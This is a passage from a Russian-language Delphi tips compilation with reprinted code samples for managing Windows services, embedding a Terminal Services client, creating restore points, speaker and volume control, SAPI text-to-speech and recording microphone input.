  procedure TForm1.Button1Click(Sender: TObject);
  begin
    ListBox1.Items.Add(GetDriverInfo)
  end;

  // Thanks to Madshi for helping me translate from C++ Code
  // Original Code (C++) :
  //                             NtDriverList v1.0
  //                      Copyright 1998, 1999 Yariv Kaplan
  //                             WWW.INTERNALS.COM

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как проверить запущен ли сервис?

uses
  WinSvc;

function ServiceGetStatus(sMachine, sService: PChar): DWORD;
  {******************************************}
  {*** Parameters: ***}
  {*** sService: specifies the name of the service to open
  {*** sMachine: specifies the name of the target computer
  {*** ***}
  {*** Return Values: ***}
  {*** -1 = Error opening service ***}
  {*** 1 = SERVICE_STOPPED ***}
  {*** 2 = SERVICE_START_PENDING ***}
  {*** 3 = SERVICE_STOP_PENDING ***}
  {*** 4 = SERVICE_RUNNING ***}
  {*** 5 = SERVICE_CONTINUE_PENDING ***}
  {*** 6 = SERVICE_PAUSE_PENDING ***}
  {*** 7 = SERVICE_PAUSED ***}
  {******************************************}
var
  SCManHandle, SvcHandle: SC_Handle;
  SS: TServiceStatus;
  dwStat: DWORD;
begin
  dwStat := 0;
  // Open service manager handle.
  SCManHandle := OpenSCManager(sMachine, nil, SC_MANAGER_CONNECT);
  if (SCManHandle > 0) then
  begin
    SvcHandle := OpenService(SCManHandle, sService, SERVICE_QUERY_STATUS);
    // if Service installed
    if (SvcHandle > 0) then
    begin
      // SS structure holds the service status (TServiceStatus);
      if (QueryServiceStatus(SvcHandle, SS)) then
        dwStat := ss.dwCurrentState;
      CloseServiceHandle(SvcHandle);
    end;
    CloseServiceHandle(SCManHandle);
  end;
  Result := dwStat;
end;

function ServiceRunning(sMachine, sService: PChar): Boolean;
begin
  Result := SERVICE_RUNNING = ServiceGetStatus(sMachine, sService);
end;

// Check if Eventlog Service is running
procedure TForm1.Button1Click(Sender: TObject);
begin
  if ServiceRunning(nil, 'Eventlog') then
    ShowMessage('Eventlog Service Running')
  else
    ShowMessage('Eventlog Service not Running')
end;

{
  Windows 2000 and earlier: All processes are granted the SC_MANAGER_CONNECT,
  SC_MANAGER_ENUMERATE_SERVICE, and SC_MANAGER_QUERY_LOCK_STATUS access rights.

  Windows XP: Only authenticated users are granted the SC_MANAGER_CONNECT,
  SC_MANAGER_ENUMERATE_SERVICE,
  and SC_MANAGER_QUERY_LOCK_STATUS access rights.
}

{
  Do not use the service display name (as displayed in the services
  control panel applet.) You must use the real service name, as
  referenced in the registry under
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
}

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Управление NT-сервисами

{
  The following class TServiceManager can be used to manage your NT-Services.
  You can do things like start, stop, pause or querying a services status.
}

//  Thanks for this one to Frederik Schaller as well - it's a co-work }

unit ServiceManager;

interface

uses
  SysUtils, Windows, WinSvc;

type

  TServiceManager = class
  private
    { Private declarations }
    ServiceControlManager: SC_Handle;
    ServiceHandle: SC_Handle;
  protected
    function DoStartService(NumberOfArgument: DWORD; ServiceArgVectors: PChar): Boolean;
  public
    { Public declarations }
    function Connect(MachineName: PChar = nil; DatabaseName: PChar = nil;
      Access: DWORD = SC_MANAGER_ALL_ACCESS): Boolean;  // Access may be SC_MANAGER_ALL_ACCESS
    function OpenServiceConnection(ServiceName: PChar): Boolean;
    function StartService: Boolean; overload; // Simple start
    function StartService(NumberOfArgument: DWORD; ServiceArgVectors: PChar): Boolean;
      overload; // More complex start
    function StopService: Boolean;
    procedure PauseService;
    procedure ContinueService;
    procedure ShutdownService;
    procedure DisableService;
    function GetStatus: DWORD;
    function ServiceRunning: Boolean;
    function ServiceStopped: Boolean;
  end;

implementation

{ TServiceManager }

function TServiceManager.Connect(MachineName, DatabaseName: PChar;
  Access: DWORD): Boolean;
begin
  Result := False;
  { open a connection to the windows service manager }
  ServiceControlManager := OpenSCManager(MachineName, DatabaseName, Access);
  Result := (ServiceControlManager <> 0);
end;

function TServiceManager.OpenServiceConnection(ServiceName: PChar): Boolean;
begin
  Result := False;
  { open a connetcion to a specific service }
  ServiceHandle := OpenService(ServiceControlManager, ServiceName, SERVICE_ALL_ACCESS);
  Result := (ServiceHandle <> 0);
end;

procedure TServiceManager.PauseService;
var
  ServiceStatus: TServiceStatus;
begin
  { Pause the service: attention not supported by all services }
  ControlService(ServiceHandle, SERVICE_CONTROL_PAUSE, ServiceStatus);
end;

function TServiceManager.StopService: Boolean;
var
  ServiceStatus: TServiceStatus;
begin
  { Stop the service }
  Result := ControlService(ServiceHandle, SERVICE_CONTROL_STOP, ServiceStatus);
end;

procedure TServiceManager.ContinueService;
var
  ServiceStatus: TServiceStatus;
begin
  { Continue the service after a pause: attention not supported by all services }
  ControlService(ServiceHandle, SERVICE_CONTROL_CONTINUE, ServiceStatus);
end;

procedure TServiceManager.ShutdownService;
var
  ServiceStatus: TServiceStatus;
begin
  { Shut service down: attention not supported by all services }
  ControlService(ServiceHandle, SERVICE_CONTROL_SHUTDOWN, ServiceStatus);
end;

function TServiceManager.StartService: Boolean;
begin
  Result := DoStartService(0, '');
end;

function TServiceManager.StartService(NumberOfArgument: DWORD;
  ServiceArgVectors: PChar): Boolean;
begin
  Result := DoStartService(NumberOfArgument, ServiceArgVectors);
end;

function TServiceManager.GetStatus: DWORD;
var
  ServiceStatus: TServiceStatus;
begin
{ Returns the status of the service. Maybe you want to check this
  more than once, so just call this function again.
  Results may be: SERVICE_STOPPED
                  SERVICE_START_PENDING
                  SERVICE_STOP_PENDING
                  SERVICE_RUNNING
                  SERVICE_CONTINUE_PENDING
                  SERVICE_PAUSE_PENDING
                  SERVICE_PAUSED   }
  Result := 0;
  QueryServiceStatus(ServiceHandle, ServiceStatus);
  Result := ServiceStatus.dwCurrentState;
end;

procedure TServiceManager.DisableService;
begin
  { Implementation is following... }
end;

function TServiceManager.ServiceRunning: Boolean;
begin
  Result := (GetStatus = SERVICE_RUNNING);
end;

function TServiceManager.ServiceStopped: Boolean;
begin
  Result := (GetStatus = SERVICE_STOPPED);
end;

function TServiceManager.DoStartService(NumberOfArgument: DWORD;
  ServiceArgVectors: PChar): Boolean;
var
  err: integer;
begin
  Result := WinSvc.StartService(ServiceHandle, NumberOfArgument, ServiceArgVectors);
end;

end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Написание Terminal Services Client

{
"WINDOWS2000 SERVER" / "WINDOWS XP" terminal services are very important in a computer
network: each client computer can emulate server's desktop by using a simple executable
named "mstsc.exe". This executable uses the ActiveX control "MStscax" defined in
"mstscax.dll".
These files are automatically installed in Windows XP and Windows 2000 Server but not
in Windows2000 Professional or Windows98. You can download the entire package containing
these file at the following url:

http://www.microsoft.com/windows2000/downloads/recommended/TSAC/tsmsi.asp?Lang=

After downloading the executable "tsmsisetup.exe", run it to unpack. Now let's
take into consideration the folder "System32": this is the folder containing
"mstsc.exe" and "mstscax.dll".
Now register the ActiveX control "MsTscAx":

  1)Start->Run->
  2)type the following command line: regsvr32 <path to mstscax.dll>\mstscax.dll

where <path to mstscax.dll> is the complete path to the file "mstscax.dll".

In this article I will show you how to embed the ActiveX control "MsTscAx"
in a Delphi application in order to build a substitute of "mstsc.exe".

First of all you must import the ActiveX control "mstscax":
in the Delphi IDE:
1)Component->Import ActiveX Control
2)Select "Microsoft Terminal Services Control"
  the class name will be "TMsTscAx"
3)Select the unit dir name and press "Create Unit": you have created the import Unit.
4)Create a package or select an existing one and add the created unit to this package
  Recompile the package and now delphi palette will contain (in the ActiveX tab if you
  haven't changed it in the importing process) the MstScax component.

Now create a new Delphi project and add the Mstscax component to it.
Let's go to analize the interesting properties of this new component:

1)Server: this is the IP of the Windows2000 Server computer whose desktop we want
  to emulate
2)BitmapPeristence:
  1 if you want to cache Bitmaps or 0 otherwise
3)Compress:
  1 if you want to cache data or 0 otherwise

With the "Connect" method I open a terminal emulation session.
With the "Disconnect" method I disconnect from a terminal emulation session but the
session itself isn't closed on the server.

Another important feature of "Client Terminal Service" is the ability to define a
program that automatically run when the client machine opens a terminal
emulation session. You can programatically achieve this target in this manner:

Set_StartProgram(<Path to Exe>\<Exe filename>);

Once defined an automatically running program, the client computer will see a remote
desktop which is clear except for the presence of the program itself; this is
useful if you want to restrict the operative range of your client computers to the
program itself. When the program is closed, the connection is closed and the session
on the windows 2000 server computer is closed.

this is the code of my example project:
}

unit Main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  OleCtrls, ExtCtrls, StdCtrls,
  MSTSCLib_TLB;//the import Unit: substitute it with the name you assigned
               //during the import process if this is different to it

type
  TForm1 = class(TForm)
    MsTscAx1: TMsTscAx;
    Panel1: TPanel;
    btConnect: TButton;
    procedure btConnectClick(Sender: TObject); //connection button
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure MsTscAx1Disconnected(Sender: TObject;
      DisconnectReason: Integer);
    procedure MsTscAx1Connecting(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.btConnectClick(Sender: TObject);
begin
  MsTscAx1.Connect;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Left   := 0;
  Top    := 0;
  Height := Screen.Height - 20;
  Width  := Screen.Width;

  MsTscAx1.Server := '1.2.3.4'; //substitute it with the IP Address of your server
  with MsTscAx1.AdvancedSettings do
  begin
    BitmapPeristence := 1;//enable bitmap cache
    Compress         := 1;//enable data cache
  end;
  with MsTscAx1.SecuredSettings do
  begin
    Set_StartProgram('C:\Sviluppo\Delphi\DbBrowser.exe');
    //the program I want to run
  end;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if not btConnect.Enabled then
  //I must close the automatically running program before closing
  //my terminal emulation program
  begin
    MessageDlg('Close "DbBrowser.exe" before closing the application!',
      mtInformation, [mbOK], 0);
    Action := caNone;
  end;
end;

procedure TForm1.MsTscAx1Disconnected(Sender: TObject;
  DisconnectReason: Integer);
begin
  btConnect.Enabled := True;
end;

procedure TForm1.MsTscAx1Connecting(Sender: TObject);
begin
  btConnect.Enabled := False;
end;

end.

{
In order to run this application in another computer you must copy the file
"mstscax.dll" on the target
computer and register it with "regsvr32" as shown at the beginning of this
article. You can automate this
process by embedding the file in your executable, etc..

Carlo Pasolini, Riccione(Italy), ccpasolini@libero.it
}

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сделать System Restore point (XP)?

{
  If you haven't installed the Microsoft Scripting Control yet
  (TScriptControl component),
  get it from http://www.msdn.microsoft.com/scripting/

  Once you've downloaded and run the installation, start Delphi and go to the
  Component | Import ActiveX Control... menu.
  Select "Microsoft Script Control 1.0" from the Listbox amd click "Install"
  to install the component into Delphi's palette.
  What you should end up with now is a TScriptControl component on your ActiveX tab.
  Start a new application, and drop a TButton, and a TScriptControl onto the main form.
  In the OnClick event of Button1, put the following code:
}

procedure TForm1.Button1Click(Sender: TObject);
var
  sr: OLEVAriant;
begin
  ScriptControl1.Language := 'VBScript';
  sr := ScriptControl1.Eval('getobject("winmgmts:\\.\root\default:Systemrestore")');
  if sr.CreateRestorePoint('Automatic Restore Point', 0, 100) = 0 then
    ShowMessage('New Restore Point successfully created.')
    // Wiederherstellungspunkt erfolgreich erstellt
  else
    ShowMessage('Restore Point creation Failed!');
    // Wiederherstellungspunkt Erstellung fehlgeschlagen.
end;

{*****************************************************}

{2. Using the SRSetRestorePoint() API from SrClient.dll}

// Translation from SRRestorePtAPI.h
const
 // Type of Event
 BEGIN_SYSTEM_CHANGE = 100;
 END_SYSTEM_CHANGE  = 101;
 // Type of Restore Points
 APPLICATION_INSTALL =  0;
 CANCELLED_OPERATION = 13;
 MAX_DESC = 64;
 MIN_EVENT = 100;

// Restore point information
type
PRESTOREPTINFOA = ^_RESTOREPTINFOA;
_RESTOREPTINFOA = packed record
    dwEventType: DWORD;  // Type of Event - Begin or End
    dwRestorePtType: DWORD;  // Type of Restore Point - App install/uninstall
    llSequenceNumber: INT64;  // Sequence Number - 0 for begin
    szDescription: array [0..MAX_DESC] of CHAR; // Description - Name of Application / Operation
end;
RESTOREPOINTINFO = _RESTOREPTINFOA;
PRESTOREPOINTINFOA = ^_RESTOREPTINFOA;

// Status returned by System Restore

PSMGRSTATUS = ^_SMGRSTATUS;
_SMGRSTATUS = packed record
    nStatus: DWORD; // Status returned by State Manager Process
    llSequenceNumber: INT64;  // Sequence Number for the restore point
end;
STATEMGRSTATUS =  _SMGRSTATUS;
PSTATEMGRSTATUS =  ^_SMGRSTATUS;

function SRSetRestorePointA(pRestorePtSpec: PRESTOREPOINTINFOA; pSMgrStatus: PSTATEMGRSTATUS): Bool;
  stdcall; external 'SrClient.dll' Name 'SRSetRestorePointA';

// Example how to create and cancel a previous restore point.
// Ref: http://tinyurl.com/78pv

procedure TForm1.Button1Click(Sender: TObject);
const
 CR = #13#10;
var
  RestorePtSpec: RESTOREPOINTINFO;
  SMgrStatus: STATEMGRSTATUS;
begin
  // Initialize the RESTOREPOINTINFO structure
  RestorePtSpec.dwEventType := BEGIN_SYSTEM_CHANGE;
  RestorePtSpec.dwRestorePtType := APPLICATION_INSTALL;
  RestorePtSpec.llSequenceNumber := 0;
  RestorePtSpec.szDescription := 'SAMPLE RESTORE POINT';

  if (SRSetRestorePointA(@RestorePtSpec, @SMgrStatus)) then
  begin
    ShowMessage('Restore point set. Restore point data:' + CR+
      'Sequence Number: ' + Format('%d', [SMgrStatus.llSequenceNumber]) + CR+
      'Status: ' + Format('%u', [SMgrStatus.nStatus]));

      // Restore Point Spec to cancel the previous restore point.
      RestorePtSpec.dwEventType := END_SYSTEM_CHANGE;
      RestorePtSpec.dwRestorePtType  := CANCELLED_OPERATION;
      RestorePtSpec.llSequenceNumber := SMgrStatus.llSequenceNumber;

      // This is the sequence number returned by the previous call.
      // Canceling the previous restore point
      if (SRSetRestorePointA(@RestorePtSpec, @SMgrStatus)) then
        ShowMessage('Restore point canceled. Restore point data:' + CR+
        'Sequence Number: ' + Format('%d', [SMgrStatus.llSequenceNumber]) + CR+
        'Status: ' + Format('%u', [SMgrStatus.nStatus]))

      else
        ShowMessage('Couldn''t cancel restore point.');
    end
    else
      ShowMessage('Couldn''t set restore point.');
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Проверить не запущена ли terminal client session?

function IsRemoteSession: Boolean;
const
  sm_RemoteSession = $1000; { from WinUser.h }
begin
  Result := GetSystemMetrics(sm_RemoteSession) <> 0;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


How immediately start a service after its installation?

{ To automatically start a service after its installation use this code }

procedure TMyService.ServiceAfterInstall(Sender: TService);
var
  sm: TServiceManager;
begin
  sm := TServiceManager.Create;
  try
    if sm.Connect then
      if sm.OpenServiceConnection(self.name) then
        sm.StartService;
  finally
    sm.Free;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Звук

Cодержание раздела:

Как можно включить/выключить звук в системе?
Как управлять спикером под 9х из Дельфи? Updated!
Как научить приложение Delphi разговаривать?
Как изменить громкость?
Как считать сигнал с микрофона
Как определить уровень звука в данный момент?
Как можно получить звук с микрофона?
Как получить/изменить громкость?
Как включить/выключить спикер
Как определить установлена ли звуковая карта?
Программирование Sound Blaster
Как сделать регулятор громкости?
Как можно получить звук с помощью MediaPlayer?
Сыграть звуковой файл без компонентов New!
Как использовать Microsoft Speech API? New!
Как выключить master volume в звуковой карте? New!

См. также другие разделы:
MediaPlayer
Работа со звуком


Как можно включить/выключить звук в системе?

WaveOutSetVolume()

Взято с Vingrad.ru http://forum.vingrad.ru


Как управлять спикером под 9х из Дельфи?

Прислал: Ненашев Илья Николаевич

Под WinNT/2000/XP вы можете использовать Beep(Tone, Duration) (задавать тон и продолжительность звучания). А под 9.x/Me эта функция не реализована, но можно командовать железом через порты, и сделать универсальную:

unit BeepUnit;

procedure Beep(Tone, Duration: Word); // универсальная - версию виндовса проверяет

procedure Sound(Freq : Word);
procedure NoSound;

procedure SetPort(address, Value:Word);
function GetPort(address:word):word;

implementation

procedure SetPort(address, Value:Word);
var
  bValue: byte;
begin
  bValue := trunc(Value and 255);
  asm
    mov dx, address
    mov al, bValue
    out dx, al
  end;
end;

function GetPort(address:word):word;
var
  bValue: byte;
begin
  asm
    mov dx, address
    in al, dx
    mov bValue, al
  end;
  GetPort := bValue;
end;

procedure Sound(Freq : Word);
var
  B : Byte;
begin
  if Freq > 18 then begin
    Freq := Word(1193181 div LongInt(Freq));
    B := Byte(GetPort($61));
    if (B and 3) = 0 then begin
      SetPort($61, Word(B or 3));
      SetPort($43, $B6);
    end;
    SetPort($42, Freq);
    SetPort($42, Freq shr 8);
  end;
end;

procedure NoSound;
var
  Value: Word;
begin
  Value := GetPort($61) and $FC;
  SetPort($61, Value);
end;

procedure Beep(Tone, Duration: Word);
begin
  if SysUtils.Win32Platform = VER_PLATFORM_WIN32_NT
    then Windows.Beep(Tone, Duration)
    else begin
      Sound(Tone);
      Windows.Sleep(Duration);
      NoSound;
    end;
end;

end.

Взято из http://forum.sources.ru

Вот мой старый способ, которым я извлекал звуки в Visual Basic (это было много времени назад) с помощью функций API. Ниже приведена функция, требующая на входе два параметра: тон и длительность воспроизведения. (Примечание: функции Windows API требуют гораздо большее количество параметров, но вам нужно беспокоиться только о тех, которые изменяются от вызова до вызова... т.е. только о тоне и длительности.)

procedure MakeSound(note, duration: integer);
{
Цель:      Проигрывание звуков на динамике PC.
Параметры: note = шаг тона (правильный диапазон с 1 по 84 (1

самый низкий тон и 84 самый высокий)
duration = продолжительность звучания (допустимый диапазон
с 1 по 128... но это мои догадки... чем меньше значение
тем короче продолжительность)
}
var
  result: integer;
begin
  {проверка на правильность величины... должно быть 1-84}
  if (note < 1) or (note > 84) then
    exit;
  {проверка на правильность величины... по моим догадкам, должно быть
  в диапазоне от 1 до 128}
  if (duration < 1) or (duration > 128) then
    exit;
  {открываем звуковой канал}
  result := OpenSound;
  {устанавливаем размер звуковой очереди (не очищайте это! Я думаю что
  каждая нота требует 6 байт.)}
  result := SetVoiceQueueSize(1, 6);
  {устанавливаем звуковую ноту (и ее длительность)}
  result := SetVoiceNote(1, note, duration, 1);
  {проигрываем ноту}
  result := StartSound;
  {ожидаем окончания звучания}
  result := WaitSoundState(S_QUEUEEMPTY);
  {закрываем звуковой канал}
  CloseSound;
end;

Затем можно вызвать эту функцию следующим образом...

MakeSound(1,1);
MakeSound(32,10);

Эти две строчки заставят динамик вашего PC зазвучать сначала в низком диапазоне (продолжительностью в секунду или две), и затем немного дольше в более высоком диапазоне.

Автор: Steve Keyser

Взято с http://delphiworld.narod.ru


Как научить приложение Delphi разговаривать?

Автор: Alec Bergamini
Совместимость: Delphi 5.x (или выше)
11-го августа 2001 Microsoft объявила о выпуске SAPI 5.1 SDK. Данный продукт можно использовать в любом языке, который поддерживает OLE автоматизацию.

В данной статье я постараюсь раасказать, как установить SAPI 5.1 SDK. Затем мы посмотрим, как использовать SDK в приложении Delphi для преобразования текста в синтезированную речь. Синтезированная речь будет проигрываться через спикер. Всё это тестировалось в Delphi 5 и 6.

Чтобы скачать SAPI 5.1, необходимо зайти на сайт Microsoft's Speech.net Technologies по адресу http://www.microsoft.com/speech/ и кликнуть по ссылке download. Далее будет предложено прочитать комментарии к данному продукту. Если в Вашей системе, язык по умолчанию отличается от US English, то настоятельно рекомендую прочитать эти комментарии до конца.

Если Вы используете beta версию операционной системы XP, то у Вас могут возникнуть некоторые проблемы. Проблемы связаны с тем, что большинство beta версий XP включают в себя ранние версии SAPI 5.1. Поэтому не пытайтесь инсталировать release версию SAPI 5.1 на XP, она не будет работать.

После того как Вы прочитаете комментарии, то приступайте к скачиванию Speech SDK 5.1. Всё что для этого потребуется, это нажать на ссылку Speech SDK 5.1 (68 MB). В архиве содержится сам SDK, докумантация, а так же текты на английском для примера.

Итак, после скачивания SAPI 5.1 SDK, запустите speechsdk51.exe для установки его на Ваш компьютер.

Теперь надо дать знать Delphi о новых объектах автоматизации SAPI. Для этого запустите Delphi 5 или 6 (Я не пробовал боле ранние версии) и откройте Project | Import Type Library. В диалоге Import Type Library выберите "Microsoft Speech Object Library (Version 5.1)". Если Вы не нашли его в списке, значит во время инсталяции SAPI 5.1 произошли какие-то ошибки.

Delphi предложит поместить компоненты SAPI на станицу ActiveX. Я рекомендую разместить их в новой странице под названием "SAPI 5", так как количество компонент довольно большое (19). Так же рекомендую Вам выбрать "Unit dir name" отличающуюся от той, которая предлагается по умолчанию. Убедитесь, что на "Generate Component Wrapper" стоит галочка и нажмите кнопку >Install<.

В диалоге Install выберите закладку "Into new package" и в поле "File name:" введите имя пакета наподобие "SAPI5.dpk", нажмите кнопку "Обзор..." (browse) и убедитесь, что dpk создан в той же директории, в которой были созданы компоненты. В диалоге Install в поле Description задайте какое-нибудь описание, например "SAPI 5 automation components". Нажмите OK

В подтверждающем диалоге нажмите yes. После этого новые компоненты будут установлены.

Теперь, если Вы посмотрите в директорию, которую указали для установки компонент, то обнаружите там файл SpeechLib_TLB.pas (и dcr) который содержит весь код компоненты (интерфайс, константы, типы, а так же другую полезную информацию). Эта директория так же содержит (если Вы следовали вышеприведённым инструкциям) SAPI5.dpk который является исходинком пакета.

А теперь самая интересная часть.

Давайте создадим приложение, которое будет синтезировать речь. В Delphi создайте новое приложение и поместите на форму кнопку. На странице компонент SAPI5 найдите SpVoice и перетащите его на форму.

Теперь создайте событие onClick для Вашей кнопки, которое должно выглядеть примерно так:

procedure TForm1.Button1Click(Sender: TObject);
begin
  SpVoice1.Speak('Hello world!', SVSFDefault);
end;

Запустите программу и нажмите кнопку. Здорово?

Метод Speak объекта SPVoice предоставляет довольно большие возможности. Эти возможности можно использовать если поиграться со вторым параметром. В вышеприведённом примере я использовал режим поумолчанию, который позволяет функции вернуть управление только после завершения проигрывания звука. Избежать этого можно путём внедрения в текст специальных тэгов XML.

Документация по SDK содержит файл sapi.chm который можно найти в директории \Program Files\Microsoft Speech SDK 5.1\Docs\Help .

Sapi.chm содержит довольно много информации. Вот основные, часто используемые возможности компоненты и, соответствующие им флаги, которые передаются во втором параметре:
Воспроизведение текста находящегося в файле. (SVSFIsFilename)
Асинхронный решим проигрывания звука. Позволяет функции вернуть управление немедленно, во время воспроизведения. (SVSFlagsAsync)
Позволяет управлять воспроизведением через XML тэги (см. раздел под название "XML TTS Tutorial"). Тэги позволяют настроить тональность звучания, скорость воспроизведения и многое другое.( SVSFIsXML)

Одна из интересных вещей (не документирована) заключается в том, что можно озвучивать заголовок веб страницы путём установки флага в SVSFIsFilenam а имени файла в URL. Если Вы соединены с интернетом, попробуйте запустить следующую строчку:

SpVoice1.Speak('http://www.o2a.com', SVSFIsFilename);

Так же при помощи этого флага можно проигрывать wav файлы:

SpVoice1.Speak('C:\WINNT\MEDIA\Windows Logon Sound.wav', SVSFIsFilename);

На самом деле у этой SAPI намного больше возможностей, чем я здесь привёл. В следующий раз, мы подробнее рассмотрим другие возможности.

Взято из http://forum.sources.ru


Как изменить громкость?

procedure SetVolume(X: Word);
var
  iErr : Integer;
  i: integer;
  a: TAuxCaps;
begin
  for i := 0 to auxGetNumDevs do begin
    auxGetDevCaps(i,Addr(a),SizeOf(a));
    If a.wTechnology = AUXCAPS_CDAUDIO Then break;
  end;

  // Устанавливаем одинаковую громкость для левого и правого каналов.
  // VOLUME := LEFT*$10000 + RIGHT*1

  iErr:=auxSetVolume(i,(X*$10001));
  if (iErr‹›0) then ShowMessage('No audio devices are available!');
end;

function GetVolume: Word;
var
  iErr : Integer;
  i: integer;
  a: TAuxCaps;
  vol: word;
begin
  for i := 0 to auxGetNumDevs do begin
    auxGetDevCaps(i,Addr(a),SizeOf(a));
    If a.wTechnology = AUXCAPS_CDAUDIO Then break;
  end;
  iErr:=auxGetVolume(i,addr(vol));
  GetVolume := vol;
  if (iErr‹›0) then ShowMessage('No audio devices are available!');
end;

Взято из http://forum.sources.ru


Как считать сигнал с микрофона?

В Windows нет разделения каналов записи по источникам.

CD-ROM ----------|
                 |             |--- Динамики
Микрофон --------|             |
                 |-- Windows --|--- Записывающие программы
Линейный вход ---|             |
                 |             |--- Линейный выход
MIDI ------------|

Все поступающие в систему звуки смешиваются, и лишь после этого их получает программа.
Для получения звукового сигнала нужно воспользоваться WinAPI.
WaveInOpen открывает доступ к микрофону.
Одновременно только одна программа может работать с микрофоном.
Заодно Вы указываете, какая нужна частота, сколько бит на значение и размер буфера.
От последнего зависит, как часто и в каком объеме информация будет поступать в программу.

Далее нужно выделить память для буфера и вызвать функцию WaveInAddBuffer,
которая передаст Windows пустой буфер.
После вызова WaveInStart Windows начнет заполнять буфер,
и, после его заполнения, пошлет сообщение MM_WIM_DATA.
В нем нужно обработать полученную информацию и вновь вызвать WaveInAddBuffer,
тем самым указав, что буфер пуст.

Функции WaveInReset и WaveInClose прекратят поступление информации в программу и закроют доступ к микрофону.

Эта программа считывает сигнал с микрофона и выводит его на экран.
Частота сигнала - 22050 Гц. Количество бит определяется флажком, размер буфера TrackBar-ом.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, ComCtrls, MMSystem;

type
  TData8 = array [0..127] of byte;
  PData8 = ^TData8;
  TData16 = array [0..127] of smallint;
  PData16 = ^TData16;
  TPointArr = array [0..127] of TPoint;
  PPointArr = ^TPointArr;
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    PaintBox1: TPaintBox;
    TrackBar1: TTrackBar;
    CheckBox1: TCheckBox;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure CheckBox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure OnWaveIn(var Msg: TMessage); message MM_WIM_DATA;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

var
  WaveIn: hWaveIn;
  hBuf: THandle;
  BufHead: TWaveHdr;
  bufsize: integer;
  Bits16: boolean;
  p: PPointArr;
  stop: boolean = false;

procedure TForm1.Button1Click(Sender: TObject);
var
  header: TWaveFormatEx;
  BufLen: word;
  buf: pointer;
begin
  BufSize := TrackBar1.Position * 500 + 100; { Размер буфера }
  Bits16 := CheckBox1.Checked;
  with header do begin
    wFormatTag := WAVE_FORMAT_PCM;
    nChannels := 1;  { количество каналов }
    nSamplesPerSec := 22050; { частота }
    wBitsPerSample := integer(Bits16) * 8 + 8; { 8 / 16 бит }
    nBlockAlign := nChannels * (wBitsPerSample div 8);
    nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
    cbSize := 0;
  end;
  WaveInOpen(Addr(WaveIn), WAVE_MAPPER, addr(header),
    Form1.Handle, 0, CALLBACK_WINDOW);
  BufLen := header.nBlockAlign * BufSize;
  hBuf := GlobalAlloc(GMEM_MOVEABLE and GMEM_SHARE, BufLen);
  Buf := GlobalLock(hBuf);
  with BufHead do begin
    lpData := Buf;
    dwBufferLength := BufLen;
    dwFlags := WHDR_BEGINLOOP;
  end;
  WaveInPrepareHeader(WaveIn, Addr(BufHead), sizeof(BufHead));
  WaveInAddBuffer(WaveIn, addr(BufHead), sizeof(BufHead));
  GetMem(p, BufSize * sizeof(TPoint));
  stop := true;
  WaveInStart(WaveIn);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if stop = false then Exit;
  stop := false;
  while not stop do Application.ProcessMessages;
  stop := false;
  WaveInReset(WaveIn);
  WaveInUnPrepareHeader(WaveIn, addr(BufHead), sizeof(BufHead));
  WaveInClose(WaveIn);
  GlobalUnlock(hBuf);
  GlobalFree(hBuf);
  FreeMem(p, BufSize * sizeof(TPoint));
end;

procedure TForm1.OnWaveIn;
var
  i: integer;
  data8: PData8;
  data16: PData16;
  h: integer;
  XScale, YScale: single;
begin
  h := PaintBox1.Height;
  XScale := PaintBox1.Width / BufSize;
  if Bits16 then begin
    data16 := PData16(PWaveHdr(Msg.lParam)^.lpData);
    YScale := h / (1 shl 16);
    for i := 0 to BufSize - 1 do
      p^[i] := Point(round(i * XScale),
        round(h / 2 - data16^[i] * YScale));
  end else begin
    Data8 := PData8(PWaveHdr(Msg.lParam)^.lpData);
    YScale := h / (1 shl 8);
    for i := 0 to BufSize - 1 do
      p^[i] := Point(round(i * XScale),
        round(h - data8^[i] * YScale));
  end;
  with PaintBox1.Canvas do begin
    Brush.Color := clWhite;
    FillRect(ClipRect);
    Polyline(Slice(p^, BufSize));
  end;
  if stop
    then WaveInAddBuffer(WaveIn, PWaveHdr(Msg.lParam),
      SizeOf(TWaveHdr))
    else stop := true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  Button2.Click;
end;

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
  if stop then begin
    Button2.Click;
    Button1.Click;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  TrackBar1.OnChange := CheckBox1Click;
  Button1.Caption := 'Start';
  Button2.Caption := 'Stop';
  CheckBox1.Caption := '16 / 8 bit';
end;

end.
Даниил Карапетян.
На сайте http://delphi4all.narod.ru Вы найдете еще более 100 советов по Delphi.
Email:delphi4all@narod.ru


Как определить уровень звука в данный момент?

Единственное, что удалось найти это компонент на Дельфи (с исходным кодом) на http://www.torry.net/mixer.htm компонент называется Vumeter v.1.0. Я его не разбирал, но похоже что он опрашивает Audio Mixer Driver (или что-то подобное).

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Я построил диограмму так:
Назначил F:= TFileStream.Create(OpenDialog1.FileName, fmOpenRead );
